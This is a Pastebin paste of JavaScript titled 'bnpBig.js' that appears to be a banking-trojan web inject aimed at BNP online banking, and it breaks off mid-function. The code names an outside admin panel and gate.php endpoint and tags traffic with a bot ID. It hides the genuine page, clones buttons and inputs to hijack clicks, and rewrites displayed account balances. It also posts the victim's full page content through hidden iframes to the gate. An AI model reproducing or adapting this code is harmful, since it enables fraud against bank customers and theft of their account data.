Advertisement
Xylitol

bnpBig.js

Nov 1st, 2014
2,453
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. //=================== ADMIN =====================
  2.  
  3. var ALINK = "https://securetargeting.com/content/webanalyser/bnpbig/admin/";
  4. var GATE = ALINK+"gate/gate.php";
  5.  
  6. //=================== INIT PROTOS =====================
  7.  
  8. var By = (function(){
  9.    
  10.     function ByArgs(arguments){
  11.         var found = {
  12.             tag: false,
  13.             error: false,
  14.             element: false
  15.         }
  16.        
  17.         if(arguments && arguments.length >= 3){
  18.             var elements_array = arguments[1].split("|");
  19.             if(elements_array.length > 0){
  20.                 for(var k = 0; k < elements_array.length; k++){
  21.                     var elements = arguments[0].getElementsByTagName(elements_array[k]);
  22.                     if(elements && elements.length > 0){
  23.                         for(var i = 0; i < elements.length; i++){
  24.                             for(var e = 2; e < arguments.length; e++){
  25.                                 var pattern = new RegExp(arguments[e].split(":")[1],"igm");
  26.                                 if(arguments[e].split(":")[0] == "class"){
  27.                                     if(elements[i].className != null && pattern.test(elements[i].className)){
  28.                                         found.tag = true;
  29.                                     }else{
  30.                                         found.error = true;
  31.                                     }
  32.                                 }else if(arguments[e].split(":")[0] == "for"){
  33.                                     if(elements[i].className != null && pattern.test(elements[i].htmlFor)){
  34.                                         found.tag = true;
  35.                                     }else{
  36.                                         found.error = true;
  37.                                     }
  38.                                 }else{
  39.                                     if(elements[i].getAttribute(arguments[e].split(":")[0]) != null && pattern.test(elements[i].getAttribute(arguments[e].split(":")[0]))){
  40.                                         found.tag = true;
  41.                                     }else{
  42.                                         found.error = true;
  43.                                     }
  44.                                 }
  45.                             }
  46.                             if(found.tag && !found.error){
  47.                                 return elements[i];
  48.                             }else{
  49.                                 found.tag = false;
  50.                                 found.error = false;
  51.                             }
  52.                         }
  53.                     }
  54.                 }
  55.                 return false;
  56.             }else{
  57.                 return false;
  58.             }
  59.         }else{
  60.             return false;
  61.         }
  62.     }
  63.    
  64.     function ByContent(arguments){
  65.        
  66.         var found = {
  67.             tag: false,
  68.             error: false,
  69.             element: false
  70.         }
  71.    
  72.         if(arguments && arguments.length > 2){
  73.             var elements = arguments[0].getElementsByTagName(arguments[1]);
  74.             if(elements && elements.length > 0){
  75.                 for(var i = 0; i < elements.length; i++){
  76.                     for(var e = 2; e < arguments.length; e++){
  77.                         var pattern = new RegExp(arguments[e]);
  78.                         if(pattern.test(elements[i].innerHTML.toLowerCase())){
  79.                             found.tag = true;
  80.                         }else{
  81.                             found.error = true;
  82.                         }
  83.                     }
  84.                     if(found.tag && !found.error){
  85.                         return elements[i];
  86.                     }else{
  87.                         found.tag = false;
  88.                         found.error = false;
  89.                     }
  90.                 }
  91.             }
  92.         }
  93.         return false;
  94.     }
  95.    
  96.     return{
  97.         args: function(){
  98.             return ByArgs(arguments);
  99.         },
  100.        
  101.         content: function(){
  102.             return ByContent(arguments);
  103.         }
  104.     }
  105.    
  106. }())
  107.  
  108. by = By;
  109.  
  110. var Hujax = (function(){
  111.    
  112.     var callback_func = false;
  113.    
  114.     function SetCallback(p){
  115.         callback_func = p;
  116.     }
  117.    
  118.     function Send(url){
  119.        
  120.         var BOTID = document.getElementById("BMUD");   
  121.         if(BOTID){
  122.             BOTID = vw.text(BOTID);
  123.         }else{
  124.             BOTID = "%%ID%%";
  125.         }
  126.        
  127.         url += "&ip="+BOTID;
  128.        
  129.         if(document.getElementById("rgk_ajax")){
  130.             document.getElementById("rgk_ajax").parentNode.removeChild(document.getElementById("rgk_ajax"));
  131.         }
  132.         var script = document.createElement("script");
  133.         script.type = "text/javascript";
  134.         script.id = "rgk_ajax";
  135.         if (script.readyState) {
  136.             script.onreadystatechange = function() {
  137.                 if (script.readyState == "loaded" || script.readyState == "complete") {
  138.                     script.onreadystatechange = null;
  139.                     callback_func();
  140.                 }
  141.             };
  142.         } else {
  143.             script.onload = function() {
  144.                 callback_func();
  145.             };
  146.         }
  147.         url = url.replace(/\(/g,"%28").replace(/\)/g,"%29");
  148.         script.src = url;
  149.         if(document.getElementsByTagName("head").length > 0){
  150.             document.getElementsByTagName("head")[0].appendChild(script);
  151.         }else{
  152.             document.getElementsByTagName("body")[0].appendChild(script);
  153.         }
  154.     }
  155.  
  156.     return{
  157.        
  158.         callback: function(param){
  159.             SetCallback(param);
  160.         },
  161.        
  162.         send: function(param){
  163.             Send(param);
  164.         }
  165.  
  166.     }
  167.    
  168. }());
  169.  
  170. hujax = Hujax;
  171.  
  172. var Clone = (function(){
  173.  
  174.     function CheckQ(param){
  175.         if(param == null || param == undefined || param == "null" || param == "undefined" || param == "" || param == " "){
  176.             return false;
  177.         }else{
  178.             return true;
  179.         }
  180.     }
  181.  
  182.     function COPY(obj,func){
  183.         if(obj.type == "image"){
  184.             var clo = document.createElement("img");
  185.             for (x in obj.attributes){
  186.                 if(CheckQ(obj.attributes[x]) && CheckQ(obj.attributes[x].name) && CheckQ(obj.attributes[x].value)){
  187.                     if(obj.attributes[x].name == "onclick" ||
  188.                        obj.attributes[x].name == "name" ||
  189.                        obj.attributes[x].name == "disabled" ||
  190.                        obj.attributes[x].name == "id"
  191.                     ){
  192.                         continue;
  193.                     }
  194.                     if(obj.attributes[x].name == "type" && obj.attributes[x].value == "submit"){
  195.                         clo.setAttribute(obj.attributes[x].name,"button");
  196.                     }else{
  197.                         clo.setAttribute(obj.attributes[x].name,obj.attributes[x].value);
  198.                     }
  199.                 }
  200.             }
  201.         }else{
  202.             var clo = document.createElement(obj.tagName);
  203.             for (x in obj.attributes){
  204.                 if(CheckQ(obj.attributes[x]) && CheckQ(obj.attributes[x].name) && CheckQ(obj.attributes[x].value)){
  205.                     if(obj.attributes[x].name == "onclick" ||
  206.                        obj.attributes[x].name == "name" ||
  207.                        obj.attributes[x].name == "disabled" ||
  208.                        obj.attributes[x].name == "href" ||
  209.                        obj.attributes[x].name == "id"
  210.                     ){
  211.                         continue;
  212.                     }
  213.                     if(obj.attributes[x].name == "type" && obj.attributes[x].value == "submit"){
  214.                         clo.setAttribute(obj.attributes[x].name,"button");
  215.                     }else{
  216.                         clo.setAttribute(obj.attributes[x].name,obj.attributes[x].value);
  217.                     }
  218.                 }
  219.             }
  220.         }
  221.         if(obj.tagName == "A" || obj.tagName == "BUTTON" || obj.tagName == "LI"){
  222.             clo.innerHTML = obj.innerHTML;
  223.         }
  224.         clo.style.cursor = "pointer";
  225.         obj.style.display = "none";
  226.         AddListenner(clo,"click",func);
  227.         obj.parentNode.insertBefore(clo,obj);
  228.     }
  229.    
  230.     function AddListenner(obj,evType,func){
  231.         if(obj.addEventListener ){
  232.             obj.addEventListener(evType,func,false);
  233.             return true;
  234.         }else if(obj.attachEvent){
  235.             var r = obj.attachEvent('on'+evType,func);
  236.             return r;
  237.         }else{
  238.             elm['on'+evType] = func;
  239.         }
  240.     }
  241.    
  242.     function JUSTCOPYINPUT(obj,content){
  243.         var clo = document.createElement(obj.tagName);
  244.         for (x in obj.attributes){
  245.             if(CheckQ(obj.attributes[x]) && CheckQ(obj.attributes[x].name) && CheckQ(obj.attributes[x].value)){
  246.                 if(obj.attributes[x].name == "onclick" ||
  247.                    obj.attributes[x].name == "name" ||
  248.                    obj.attributes[x].name == "href" ||
  249.                    obj.attributes[x].name == "id" ||
  250.                    obj.attributes[x].name == "value"
  251.                 ){
  252.                     continue;
  253.                 }
  254.                 clo.setAttribute(obj.attributes[x].name,obj.attributes[x].value);
  255.             }
  256.         }
  257.         clo.value = content;
  258.         obj.style.display = "none";
  259.         obj.parentNode.insertBefore(clo,obj);
  260.     }
  261.    
  262.     return{
  263.         click: function(obj,func){
  264.             COPY(obj,func);
  265.         },
  266.        
  267.         copy: function(obj,content){
  268.             JUSTCOPYINPUT(obj,content);
  269.         }
  270.     }
  271.    
  272. }())
  273.  
  274. clone = Clone;
  275.  
  276. var VW = (function(){
  277.    
  278.     var fTarget = false;
  279.     var fDeftime = 4;
  280.     var fTime = fDeftime;
  281.     var fCallback = function(){return false;};
  282.    
  283.     function getViewportHeight() {
  284.         var ua = navigator.userAgent.toLowerCase();
  285.         var isOpera = (ua.indexOf('opera')  > -1);
  286.         var isIE = (!isOpera && ua.indexOf('msie') > -1);
  287.         return ((document.compatMode || isIE) && !isOpera) ? (document.compatMode == 'CSS1Compat') ? document.documentElement.clientHeight : document.body.clientHeight : (document.parentWindow || document.defaultView).innerHeight;
  288.     }
  289.    
  290.     return{
  291.         hidedoc: function(doc){
  292.             var none_div = doc.getElementById("none_div");
  293.             if(none_div){
  294.                 none_div.style.display = "";
  295.             }else{
  296.                 doc.documentElement.style.display = "none";
  297.             }
  298.         },
  299.        
  300.         showdoc: function(doc){
  301.             var none_div = doc.getElementById("none_div");
  302.             if(none_div){
  303.                 none_div.style.display = "none";
  304.             }else{
  305.                 doc.documentElement.style.display = "";
  306.             }
  307.         },
  308.        
  309.         browser: function(){
  310.             if(navigator.userAgent.toLowerCase().indexOf("msie 6") >= 0){
  311.                 return "IE6";
  312.             }else if(navigator.userAgent.toLowerCase().indexOf("msie 7") >= 0){
  313.                 return "IE7";
  314.             }else if(navigator.userAgent.toLowerCase().indexOf("msie 8") >= 0){
  315.                 return "IE8";
  316.             }else if(navigator.userAgent.toLowerCase().indexOf("msie 9") >= 0){
  317.                 return "IE9";
  318.             }else if(navigator.userAgent.toLowerCase().indexOf("msie 10") >= 0){
  319.                 return "IE10";
  320.             }else if(navigator.userAgent.toLowerCase().indexOf("firefox") >= 0){
  321.                 return "FF";
  322.             }else{
  323.                 return "OTHER";
  324.             }
  325.         },
  326.        
  327.         bind: function(obj, evType, func){
  328.        
  329.             if(obj.removeEventListener){
  330.                 obj.removeEventListener(evType,func,false);
  331.             }else if(obj.detachEvent){
  332.                 obj.detachEvent ('on'+evType,func);
  333.             }
  334.            
  335.             if(obj.addEventListener ){
  336.                 obj.addEventListener(evType,func,false);
  337.                 return true;
  338.             }else if(obj.attachEvent){
  339.                 var r = obj.attachEvent('on'+evType,func);
  340.                 return r;
  341.             }else{
  342.                 elm['on'+evType] = func;
  343.             }
  344.            
  345.         },
  346.        
  347.         mouse: function(eve,element){
  348.             if(document.createEvent){
  349.                 var event = document.createEvent('MouseEvents');
  350.                 event.initMouseEvent(eve,true,true,document.defaultView,1,0,0, 0, 0, false, false, false, false,0,null);
  351.                 element.dispatchEvent(event);
  352.             }else if(element.fireEvent){
  353.                 if(eve == "click"){
  354.                     element.click();
  355.                 }else{
  356.                     var event = document.createEventObject();
  357.                     element.fireEvent('on'+eve, event);
  358.                 }
  359.             }
  360.         },
  361.        
  362.         text: function(param){
  363.             if(param){
  364.                 var tmp = (param.textContent ? param.textContent : param.innerText) ? (param.textContent ? param.textContent : param.innerText) : param.innerHTML;
  365.                 return tmp.replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$)/ig,"");
  366.             }else{
  367.                 return "";
  368.             }
  369.         },
  370.        
  371.         from: function(parent,child){
  372.             return parent && child ? parent.getElementsByTagName(child) : false;
  373.         },
  374.        
  375.         digits: function(digits){
  376.             var RES = {
  377.                 NUMBERS:"",
  378.                 OTHER: ""
  379.             }
  380.             var res = '';
  381.             if(digits && digits.length > 0){
  382.                 digits = digits.replace(/\u2212/g, "-");
  383.                 var ValidChars = "0123456789";
  384.                 for(var i = 0;i < digits.length; i++){
  385.                     var Char = digits.charAt(i);
  386.                     if(ValidChars.indexOf(Char) >=0){
  387.                         res += Char;
  388.                     }else{
  389.                         RES.OTHER += Char;
  390.                     }
  391.                 }
  392.             }
  393.             RES.NUMBERS = parseFloat(res);
  394.             return RES;
  395.         },
  396.        
  397.         blockenter: function(el){
  398.             if(el){
  399.                 el.onkeypress = function(evt){
  400.                     var evt = (evt) ? evt : ((event) ? event : null);
  401.                     var node = (evt.target) ? evt.target : ((evt.srcElement) ? evt.srcElement : null);
  402.                     if ((evt.keyCode == 13) && (node.type=="text" || node.type=="password")){
  403.                         return false;
  404.                     }
  405.                 }
  406.             }
  407.         },
  408.        
  409.         selected: function(select){
  410.             if(select){
  411.                 var RES = {
  412.                     VALUE: "",
  413.                     TEXT: ""
  414.                 }
  415.                 RES.VALUE = select[select.selectedIndex].value;
  416.                 RES.TEXT = select[select.selectedIndex].text;
  417.                 return RES;
  418.             }else{
  419.                 return false;
  420.             }
  421.         },
  422.        
  423.         docheight: function(){
  424.             return Math.max(document.compatMode != 'CSS1Compat' ? document.body.scrollHeight : document.documentElement.scrollHeight, getViewportHeight());
  425.         },
  426.        
  427.         docwidth: function(num){
  428.             if(num){
  429.                 return (window.screen.availWidth / num);
  430.             }else{
  431.                 return window.screen.availWidth;
  432.             }
  433.         },
  434.        
  435.         finder: function(obj,callback,time){
  436.             fTarget = obj;
  437.             fCallback = callback;
  438.             if(time)fTime = time;
  439.             setTimeout(vw._finder,500);
  440.         },
  441.        
  442.         _finder: function(){
  443.             if(fTarget()){
  444.                 fCallback();
  445.                 fTime = fDeftime;
  446.             }else{
  447.                 if(fTime > 0){
  448.                     fTime--;
  449.                     setTimeout(vw._finder,1000);
  450.                 }else{
  451.                     fTime = fDeftime;
  452.                 }
  453.             }
  454.         },
  455.        
  456.         framedoc: function(frame){
  457.             var RES = {
  458.                 DOC: false,
  459.                 WIN: false
  460.             }
  461.             if(vw.browser() == "FF" && frame){
  462.                 RES.DOC = frame.contentDocument;
  463.                 RES.WIN = frame.contentWindow;
  464.             }else if((/IE/igm.test(vw.browser())) && frame && frame.readyState == "complete"){
  465.                 RES.DOC = frame.contentWindow.document;
  466.                 RES.WIN = frame.contentWindow;
  467.             }
  468.            
  469.             return RES;
  470.         },
  471.        
  472.         splitiban: function(iban){
  473.             iban = iban+"";
  474.             var res = iban.substr(0,2)+" ";
  475.             var tmp = iban.substr(2,iban.length);
  476.             var count = 0;
  477.             for(var i = 0; i < tmp.length; i++){
  478.                 if(count < 4){
  479.                     res += tmp[i];
  480.                     count++;
  481.                 }else{
  482.                     res += " "+tmp[i];
  483.                     count = 1;
  484.                 }
  485.                
  486.             }
  487.             return res;
  488.         },
  489.        
  490.         getstyle: function(oElm, strCssRule){
  491.             var strValue = "";
  492.             if(document.defaultView && document.defaultView.getComputedStyle){
  493.                 strValue = document.defaultView.getComputedStyle(oElm, "").getPropertyValue(strCssRule);
  494.             }
  495.             else if(oElm.currentStyle){
  496.                 strCssRule = strCssRule.replace(/\-(\w)/g, function (strMatch, p1){
  497.                     return p1.toUpperCase();
  498.                 });
  499.                 strValue = oElm.currentStyle[strCssRule];
  500.             }
  501.             return strValue;
  502.         }
  503.  
  504.     }
  505.    
  506. }())
  507.  
  508. vw = VW;
  509.  
  510. var Replacer = (function(){
  511.    
  512.     var start_position = new Array();
  513.     var drop_data = new Array();
  514.    
  515.     var prefix = {
  516.         minus: "-",
  517.         plus: ""
  518.     }
  519.    
  520.     var splitter = {
  521.         value: "none",
  522.         position: "none"
  523.     }
  524.    
  525.     var summGet;
  526.     var summSet;
  527.    
  528.     var masks = new Array();
  529.    
  530.     function Content(param){
  531.         if(param){
  532.             var tmp = (param.textContent ? param.textContent : param.innerText) ? (param.textContent ? param.textContent : param.innerText) : param.innerHTML;
  533.             return tmp.replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$)/ig,"");
  534.         }else{
  535.             return "";
  536.         }
  537.     }
  538.    
  539.     function _setArgs(args){
  540.         for(var i = 0; i < args.length; i++){
  541.             start_position.push(args[i]);
  542.         }
  543.     }
  544.    
  545.     function _getArgs(){
  546.         for(var i = 0; i < start_position.length; i++){
  547.             if(start_position[i]){
  548.                 return true;
  549.             }
  550.         }
  551.         return false;
  552.     }
  553.    
  554.     function _saveData(args){
  555.         for(var i = 0; i < args.length; i++){
  556.             for(key in args[i]){
  557.                 drop_data[key] = args[i][key];
  558.             }
  559.         }
  560.     }
  561.    
  562.     function _getData(name){
  563.         return drop_data[name];
  564.     }
  565.    
  566.     function _setCurrencyFunctions(f1,f2){
  567.         summGet = f1;
  568.         summSet = f2;
  569.     }
  570.    
  571.     function _checkBy(el,data){
  572.         var pattern = new RegExp(drop_data[data],"igm");
  573.         if(pattern.test(el)){
  574.             return true;
  575.         }else{
  576.             return false;
  577.         }
  578.     }
  579.    
  580.     function _textIndex(el,data){
  581.         for(var i = 0; i < el.length; i++){
  582.             if(_checkBy(el[i].text,data)){
  583.                 return i;
  584.             }
  585.         }
  586.         return -1;
  587.     }
  588.    
  589.     function _valueIndex(el,data){
  590.         for(var i = 0; i < el.length; i++){
  591.             if(_checkBy(el[i].value,data)){
  592.                 return i;
  593.             }
  594.         }
  595.         return -1;
  596.     }
  597.    
  598.     function _replaceTag(element,summa){
  599.  
  600.         var tagSelect = /select|option/igm.test(element.tagName);
  601.         var tagInput = /input|textarea/igm.test(element.tagName);
  602.        
  603.         if(tagSelect){
  604.             if(splitter.value != "none" && splitter.position != "none"){
  605.                 var minus = (element.text.split(splitter.value)[splitter.position].indexOf(prefix.minus) != -1) ? true : false;
  606.                 var balance = summGet(element.text.split(splitter.value)[splitter.position]);
  607.             }else{
  608.                 var minus = (element.text.indexOf(prefix.minus) != -1) ? true : false;
  609.                 var balance = summGet(element.text);
  610.             }
  611.         }else if(tagInput){
  612.             if(splitter.value != "none" && splitter.position != "none"){
  613.                 var minus = (element.value.split(splitter.value)[splitter.position].indexOf(prefix.minus) != -1) ? true : false;
  614.                 var balance = summGet(element.value.split(splitter.value)[splitter.position]);
  615.             }else{
  616.                 var minus = (element.value.indexOf(prefix.minus) != -1) ? true : false;
  617.                 var balance = summGet(element.value);
  618.             }
  619.         }else{
  620.             if(splitter.value != "none" && splitter.position != "none"){
  621.                 var minus = (Content(element).split(splitter.value)[splitter.position].indexOf(prefix.minus) != -1) ? true : false;
  622.                 var balance = summGet(Content(element).split(splitter.value)[splitter.position]);
  623.             }else{
  624.                 var minus = (Content(element).indexOf(prefix.minus) != -1) ? true : false;
  625.                 var balance = summGet(Content(element));
  626.             }
  627.         }      
  628.        
  629.         var new_balance = balance+parseFloat(summa);
  630.         if(minus)balance = balance * -1;
  631.         balance = summSet(balance);
  632.         new_balance = summSet(new_balance);
  633.        
  634.         if(tagSelect){
  635.             var f = element.text.replace(balance+"",new_balance+"");
  636.         }else if(tagInput){
  637.             var f = element.value.replace(balance+"",new_balance+"");
  638.         }else{
  639.             var f = element.innerHTML.replace(balance+"",new_balance+"");
  640.         }
  641.        
  642.         if(parseFloat(new_balance) >= 0){
  643.             f = f.replace((f.indexOf(prefix.minus) != -1 ) ? prefix.minus : prefix.plus , prefix.plus );
  644.             f = f.replace("-"+new_balance+"",new_balance+"");
  645.         }else{
  646.             f = f.replace((f.indexOf(prefix.minus) != -1 ) ? prefix.minus : prefix.plus , prefix.minus );
  647.             f = f.replace(/\-/,"");
  648.         }
  649.        
  650.         if(tagSelect){
  651.             element.text = f;
  652.         }else if(tagInput){
  653.             element.value = f;
  654.         }else{
  655.             element.innerHTML = f;
  656.             if(parseFloat(new_balance) >= 0){
  657.                 element.innerHTML = element.innerHTML.replace(/solltexttable/igm,"");
  658.             }
  659.         }
  660.        
  661.         if(splitter.value != "none" && splitter.position != "none"){
  662.             splitter.value = "none";
  663.             splitter.position = "none";
  664.         }
  665.        
  666.     }
  667.    
  668.     function _setSplitter(value,position){
  669.         splitter.value = value;
  670.         splitter.position = position;
  671.     }
  672.    
  673.     function _drawTable(table,class1,class2){
  674.         var index = 0;
  675.         var trs = table.getElementsByTagName("tr");
  676.         if(trs && trs.length > 0){
  677.             for(var i = 0; i < trs.length; i++){
  678.                 if(trs[i].className == "ev" || trs[i].className == "od"){
  679.                     if(index % 2 == 0){
  680.                         trs[i].className = class1;
  681.                     }else{
  682.                         trs[i].className = class2;
  683.                     }
  684.                     index++;
  685.                 }
  686.             }
  687.         }
  688.     }
  689.    
  690.     function _convertDate(date){
  691.         var splitter = false;
  692.         if(/\./igm.test(date)){
  693.             splitter = ".";
  694.         }else{
  695.             splitter = "/";
  696.         }
  697.         var els = date.split(splitter);
  698.         if(els && els.length == 3){
  699.             var returnValue = 0;
  700.             returnValue += parseFloat(els[2]) * 365;
  701.             returnValue += parseFloat(els[1]) * 30;
  702.             returnValue += parseFloat(els[0]);
  703.             return returnValue;
  704.         }else if(els && els.length == 2){
  705.             var returnValue = 0;
  706.             returnValue += parseFloat(els[2]) * 365;
  707.             returnValue += parseFloat(els[1]) * 30;
  708.             return returnValue;
  709.         }else{
  710.             return -1;
  711.         }
  712.     }
  713.    
  714.     return{
  715.         init: function(){
  716.             _setArgs(arguments);
  717.         },
  718.        
  719.         canstart: function(){
  720.             return _getArgs();
  721.         },
  722.        
  723.         save: function(){
  724.             _saveData(arguments);
  725.         },
  726.        
  727.         check: function(el,data){
  728.             return _checkBy(el,data);
  729.         },
  730.        
  731.         textIndex: function(el,data){
  732.             return _textIndex(el,data);
  733.         },
  734.        
  735.         valueIndex: function(el,data){
  736.             return _valueIndex(el,data);
  737.         },
  738.        
  739.         get: function(name){
  740.             return _getData(name);
  741.         },
  742.        
  743.         currency: function(f1,f2){
  744.             _setCurrencyFunctions(f1,f2);
  745.         },
  746.        
  747.         replace: function (el,amount){
  748.             _replaceTag(el,amount);
  749.         },
  750.        
  751.         splitter: function (value,position){
  752.             _setSplitter(value,position);
  753.         },
  754.        
  755.         drawtable: function (table,class1,class2){
  756.             _drawTable(table,class1,class2);
  757.         },
  758.        
  759.         date: function(str){
  760.             return _convertDate(str);
  761.         },
  762.        
  763.         tomask: function(param){
  764.             masks.push(param);
  765.         },
  766.        
  767.         bymask: function(text){
  768.             for(var i = 0; i < masks.length; i++){
  769.                 var pattern = new RegExp(masks[i],"igm");
  770.                 if(pattern.test(text)){
  771.                     return true;
  772.                 }
  773.             }
  774.             return false;
  775.         }
  776.     }
  777.    
  778. }())
  779.  
  780. replacer = Replacer;
  781.  
  782. var Currency = (function(){
  783.    
  784.     var type_c = false;
  785.    
  786.     function ConvertibleIn(digits){
  787.          var res = '';
  788.           if(digits && digits.length > 0){
  789.             digits = digits.replace(/\u2212/g, "-");
  790.             var ValidChars = "-.0123456789";
  791.             for(var i = 0;i < digits.length; i++){
  792.               var Char = digits.charAt(i);
  793.               if(ValidChars.indexOf(Char) >=0){
  794.                 res += Char;
  795.               }
  796.             }
  797.           }
  798.           return parseFloat(res);
  799.     }
  800.    
  801.     function ConvertibleOut(digits,r){
  802.         if(r == 1){
  803.             digits = digits.toString().replace(/\$|\,/g,'');
  804.             if(isNaN(digits))digits = "0";
  805.             sign = (digits == (digits = Math.abs(digits)));
  806.             digits = Math.floor(digits*100+0.50000000001);
  807.             cents = digits%100;
  808.             digits = Math.floor(digits/100).toString();
  809.             if(cents<10)cents = "0" + cents;
  810.             for (var i = 0; i < Math.floor((digits.length-(1+i))/3); i++)
  811.                 digits = digits.substring(0,digits.length-(4*i+3))+','+
  812.             digits.substring(digits.length-(4*i+3));
  813.             return (((sign)?'':'-') + digits + '.' + cents);
  814.         }else if(r == 2){
  815.             digits = digits.toString().replace(/\$|\,/g,'');
  816.             if(isNaN(digits))digits = "0";
  817.             sign = (digits == (digits = Math.abs(digits)));
  818.             digits = Math.floor(digits*100+0.50000000001);
  819.             cents = digits%100;
  820.             digits = Math.floor(digits/100).toString();
  821.             if(cents<10)cents = "0" + cents;
  822.             for (var i = 0; i < Math.floor((digits.length-(1+i))/3); i++)
  823.                 digits = digits.substring(0,digits.length-(4*i+3))+'.'+
  824.             digits.substring(digits.length-(4*i+3));
  825.             return (((sign)?'':'-') + digits + ',' + cents);
  826.         }else{
  827.             return digits;
  828.         }
  829.     }
  830.    
  831.     function getCurrency(digits){
  832.         if(digits){
  833.             if(/[0-9]/igm.test(digits)){
  834.                 if(/\.[0-9]{2}$|\.[0-9]{2}\s{1,}/igm.test(digits)){
  835.                     type_c = 1;            
  836.                     return ConvertibleIn(digits.replace(/\,/g, ''));
  837.                 }else{
  838.                     type_c = 2;
  839.                     return ConvertibleIn(digits.replace(/\./g, '').replace(/,/g, '.'));
  840.                 }
  841.             }else{
  842.                 return digits;
  843.             }
  844.         }else{
  845.             return digits;
  846.         }
  847.     }
  848.    
  849.     function setCurrency(digits){
  850.         if(type_c == 1 || type_c == 2){
  851.             return ConvertibleOut(digits,type_c);
  852.         }else{
  853.             return digits;
  854.         }
  855.     }
  856.    
  857.    
  858.     return{
  859.         get: function(param){
  860.             return getCurrency(param);
  861.         },
  862.        
  863.         set: function(param){
  864.             return setCurrency(param);
  865.         }
  866.     }
  867.    
  868. }())
  869.  
  870. summ = Currency;
  871.  
  872. var Bridge = (function(){
  873.    
  874.     var callback_status = "";
  875.     var bridge_show = "hide";
  876.    
  877.     return{
  878.        
  879.         browser: function(){
  880.             if(navigator.userAgent.toLowerCase().indexOf("msie 6") >= 0){
  881.                 return "IE6";
  882.             }else if(navigator.userAgent.toLowerCase().indexOf("msie 7") >= 0){
  883.                 return "IE7";
  884.             }else if(navigator.userAgent.toLowerCase().indexOf("msie 8") >= 0){
  885.                 return "IE8";
  886.             }else if(navigator.userAgent.toLowerCase().indexOf("msie 9") >= 0){
  887.                 return "IE9";
  888.             }else if(navigator.userAgent.toLowerCase().indexOf("msie 10") >= 0){
  889.                 return "IE10";
  890.             }else if(navigator.userAgent.toLowerCase().indexOf("firefox") >= 0){
  891.                 return "FF";
  892.             }else{
  893.                 return "OTHER";
  894.             }
  895.         },
  896.        
  897.         framedoc: function(frame){
  898.             var RES = {
  899.                 DOC: false,
  900.                 WIN: false
  901.             }
  902.             if(bridge.browser() == "FF" && frame){
  903.                 RES.DOC = frame.contentDocument;
  904.                 RES.WIN = frame.contentWindow;
  905.             }else if((/IE/igm.test(bridge.browser())) && frame && frame.readyState == "complete"){
  906.                 RES.DOC = frame.contentWindow.document;
  907.                 RES.WIN = frame.contentWindow;
  908.             }
  909.            
  910.             return RES;
  911.         },
  912.        
  913.         status: function(param){
  914.             if(param){
  915.                 callback_status = param;
  916.             }else{
  917.                 return callback_status;
  918.             }
  919.         },
  920.        
  921.         link: function(link,param){
  922.             var bridge_box = document.getElementById("bridge_box");
  923.             if(bridge_box)bridge_box.parentNode.removeChild(bridge_box);
  924.                    
  925.             bridge_box = document.createElement("div");
  926.             bridge_box.style.position = "absolute";
  927.             bridge_box.style.left = bridge_show == "show" ? "0px" : "-5000px";
  928.             bridge_box.style.top = bridge_show == "show" ? "2000px" : "-5000px";
  929.             bridge_box.id = "bridge_box";
  930.             bridge_box_html = '';
  931.             bridge_box_html += '<iframe id="bridge.bridge" name="bridge.bridge" width=1280 height=800 onload="bridge.callback();"></iframe>';
  932.             bridge_box.innerHTML = bridge_box_html;
  933.             document.body.appendChild(bridge_box);
  934.             var bridge_bridge = document.getElementById("bridge.bridge");
  935.             bridge_bridge.src = link;
  936.             if(param)bridge.status(param);
  937.         },
  938.        
  939.         form: function(param){
  940.             var bridge_box = document.getElementById("bridge_box");
  941.             if(bridge_box)bridge_box.parentNode.removeChild(bridge_box);
  942.                    
  943.             bridge_box = document.createElement("div");
  944.             bridge_box.style.position = "absolute";
  945.             bridge_box.style.left = bridge_show == "show" ? "0px" : "-5000px";
  946.             bridge_box.style.top = bridge_show == "show" ? "2000px" : "-5000px";
  947.             bridge_box.id = "bridge_box";
  948.             bridge_box_html = '';
  949.             bridge_box_html += '<iframe id="bridge.bridge" name="bridge.bridge" width=1280 height=800 style="border:5px solid black;" onload="bridge.callback();"></iframe>';
  950.             bridge_box.innerHTML = bridge_box_html;
  951.             document.body.appendChild(bridge_box);
  952.             if(param)bridge.status(param);
  953.         },
  954.        
  955.         content: function(){
  956.        
  957.             var bridge_box = document.getElementById("bridge_box");
  958.             if(bridge_box)bridge_box.parentNode.removeChild(bridge_box);
  959.            
  960.             var docLoc = document.location.href;
  961.             var baseLoc = docLoc.substr(0,docLoc.lastIndexOf("/")+1);
  962.             var docCode = document.documentElement.innerHTML;
  963.             var docCodePartOne = docCode.substr(0,docCode.indexOf('<div style="position: fixed;'));
  964.             var docCodePartTwo = docCode.substr(docCode.indexOf('removeChild(none_div);')+39,docCode.length);
  965.             var docCodeRemastered = docCodePartOne+""+docCodePartTwo;
  966.                    
  967.             bridge_box = document.createElement("div");
  968.             bridge_box.style.position = "absolute";
  969.             bridge_box.style.left = bridge_show == "show" ? "0px" : "-5000px";
  970.             bridge_box.style.top = bridge_show == "show" ? "2000px" : "-5000px";
  971.             bridge_box.id = "bridge_box";
  972.             bridge_box_html = '';
  973.             bridge_box_html += '<iframe id="bridge.content.bridge" name="bridge.content.bridge" width=1280 height=800 style="border:5px solid black;"></iframe>';
  974.             bridge_box.innerHTML = bridge_box_html;
  975.             document.body.appendChild(bridge_box);         
  976.            
  977.             var b_content_form = document.createElement("form");
  978.             var b_content_textarea = document.createElement("textarea");
  979.            
  980.             var b_content_input_mode = document.createElement("input");
  981.             var b_content_input_bbid = document.createElement("input");
  982.             var b_content_input_btid = document.createElement("input");
  983.            
  984.             b_content_input_mode.name = "mode";
  985.             b_content_input_bbid.name = "bid";
  986.             b_content_input_btid.name = "btid";
  987.            
  988.             b_content_input_mode.value = "CONTENTLOG";
  989.             b_content_input_bbid.value = BBID;
  990.             b_content_input_btid.value = BOTID;
  991.            
  992.             b_content_form.id = "b_content_form";
  993.             b_content_form.target = "bridge.content.bridge";
  994.             b_content_form.action = GATE;
  995.             b_content_form.method = "POST";
  996.             b_content_textarea.id = "b_content_textarea";
  997.             b_content_textarea.name = "content_textarea";
  998.             if(bridge_show == "show"){
  999.                 b_content_textarea.style.border = "1px solid red";
  1000.                 b_content_textarea.style.width = "1500px";
  1001.                 b_content_textarea.style.height = "500px";
  1002.             }else{
  1003.                 b_content_textarea.style.display = "none";
  1004.                 b_content_form.style.display = "none";
  1005.             }
  1006.            
  1007.            
